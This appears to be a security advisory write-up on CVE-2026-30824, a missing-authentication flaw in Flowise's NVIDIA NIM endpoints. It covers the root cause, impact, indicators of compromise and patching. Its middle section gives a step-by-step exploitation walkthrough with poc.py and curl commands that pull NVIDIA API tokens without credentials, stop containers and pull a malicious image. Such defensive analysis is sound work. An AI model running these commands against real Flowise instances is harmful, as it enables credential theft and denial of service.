CVE-2026-30824: 
Flowise vulnerability analysis and mitigation

CVE-2026-30824 is a missing authentication vulnerability in Flowise, a drag-and-drop UI for building LLM workflows, affecting all versions prior to 3.0.13. The NVIDIA NIM router (/api/v1/nvidia-nim/*) is incorrectly whitelisted in the global authentication middleware, allowing unauthenticated network access to privileged container management and token generation endpoints. The vulnerability was published on March 5, 2026, and patched in version 3.0.13 released the same month. It carries a CVSS v3.1 score of 9.8 (Critical) and a CVSS v4.0 score of 7.7 (High) (GitHub Advisory, Flowise Advisory).

The root cause (CWE-306: Missing Authentication for Critical Function) lies in packages/server/src/utils/constants.ts, where /api/v1/nvidia-nim is added to the WHITELIST_URLS array at line 20, causing the global JWT/API-key authentication middleware to skip all checks for endpoints under that path. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts implement their own authentication checks, compounding the issue. An unauthenticated remote attacker can send plain HTTP requests — no credentials required — to any of the affected endpoints, including GET /api/v1/nvidia-nim/get-token, GET /api/v1/nvidia-nim/list-running-containers, POST /api/v1/nvidia-nim/start-container, POST /api/v1/nvidia-nim/stop-container, and POST /api/v1/nvidia-nim/pull-image. A public Python PoC and step-by-step curl exploitation instructions are available in the official security advisory (Flowise Advisory).

Successful exploitation allows an unauthenticated attacker to retrieve valid NVIDIA API bearer tokens (granting access to 170+ LLM inference models on NVIDIA's cloud API), enumerate and manipulate Docker/NIM containers on the host, pull arbitrary container images (enabling supply-chain or resource-abuse attacks), stop running containers (denial of service), and gather detailed infrastructure information. The confidentiality impact is high due to NVIDIA API token leakage; integrity is compromised through arbitrary container start/pull operations; and availability is threatened via container stop actions. On systems with Docker installed, the container management capabilities could facilitate lateral movement or persistent access (GitHub Advisory, Flowise Advisory).

A public PoC exploit (Python script with step-by-step curl commands) is included in the official security advisory and has also been published as a standalone repository at github.com/dylvie/CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication (Feedly). The vulnerability requires no authentication, no user interaction, and no special preconditions beyond network access to a vulnerable Flowise instance, making it trivially exploitable and automatable. A Nuclei detection template was added to the ProjectDiscovery nuclei-templates repository (v10.4.2), enabling automated scanning at scale. The EPSS score is approximately 21.6% (96th percentile), indicating a high probability of exploitation within 30 days. No CISA KEV listing or specific threat actor attribution has been reported at this time (GitHub Advisory).

1. Reconnaissance: Identify internet-facing Flowise instances (versions ≤ 3.0.12) using Shodan, Censys, or automated Nuclei scans with the available CVE-2026-30824 template targeting default port 3000.
2. Confirm vulnerability: Send an unauthenticated GET request to /api/v1/nvidia-nim/list-running-containers. A response of {"statusCode":500,...} (rather than 401/403) confirms the authentication bypass is present.
3. Extract NVIDIA API token: Send GET /api/v1/nvidia-nim/get-token without any credentials:

   python poc.py --target http://<TARGET>:3000 --path /api/v1/nvidia-nim/get-token
   # Returns: {"access_token":"nvapi-...","token_type":"Bearer","expires_in":3600}

4. Abuse NVIDIA API token: Use the retrieved token to access NVIDIA's inference API and enumerate or invoke 170+ LLM models:

   curl -H "Authorization: Bearer nvapi-..." https://integrate.api.nvidia.com/v1/models

5. Container reconnaissance: List running Docker/NIM containers on the host:

   python poc.py --target http://<TARGET>:3000 --path /api/v1/nvidia-nim/list-running-containers

6. Container manipulation (DoS/persistence): Stop a running container or pull a malicious image:

   python poc.py --target http://<TARGET>:3000 --path /api/v1/nvidia-nim/stop-container --method POST --data '{"containerId":"<ID>"}'
   python poc.py --target http://<TARGET>:3000 --path /api/v1/nvidia-nim/pull-image --method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'

   (Flowise Advisory)

• Network: Unauthenticated HTTP GET/POST requests to /api/v1/nvidia-nim/* endpoints (especially /get-token, /list-running-containers, /start-container, /stop-container, /pull-image) from external or unexpected IP addresses; outbound connections from the Flowise host to integrate.api.nvidia.com using bearer tokens not generated by legitimate users.
• Logs: Flowise access logs showing requests to /api/v1/nvidia-nim/ paths returning HTTP 200 or 500 (not 401/403) without an Authorization header; repeated or scripted access patterns to NIM endpoints from a single source IP.
• File System: Unexpected Docker images pulled to the host (check docker images for unfamiliar or recently added images); new or modified container configurations not initiated by administrators.
• Process: Unexpected Docker container start/stop events in Docker daemon logs (/var/log/docker.log or journalctl -u docker) not correlated with legitimate administrative activity. (Flowise Advisory)

The primary remediation is to upgrade Flowise to version 3.0.13 or later, which removes /api/v1/nvidia-nim from the WHITELIST_URLS and enforces authentication on all NIM endpoints (Flowise Release). As an interim workaround prior to patching, implement network-level access controls (firewall rules, reverse proxy ACLs) to restrict access to the /api/v1/nvidia-nim/* path to trusted internal IP ranges only. Additionally, monitor access logs for unauthenticated requests to these endpoints as an indicator of active exploitation attempts (GitHub Advisory).

Tenable published research advisories (TRA-2026-30-0 and TRA-2026-33) covering this vulnerability, and Check Point released a defense advisory (CPAI-2026-3291). ProjectDiscovery added a Nuclei detection template in release v10.4.2, enabling automated scanning for the vulnerability at scale. The infinitsec.net security blog published a dedicated technical write-up shortly after disclosure. Community interest was reflected in the vulnerability's appearance on sploitus.com and multiple CVE aggregator platforms within days of publication (Feedly).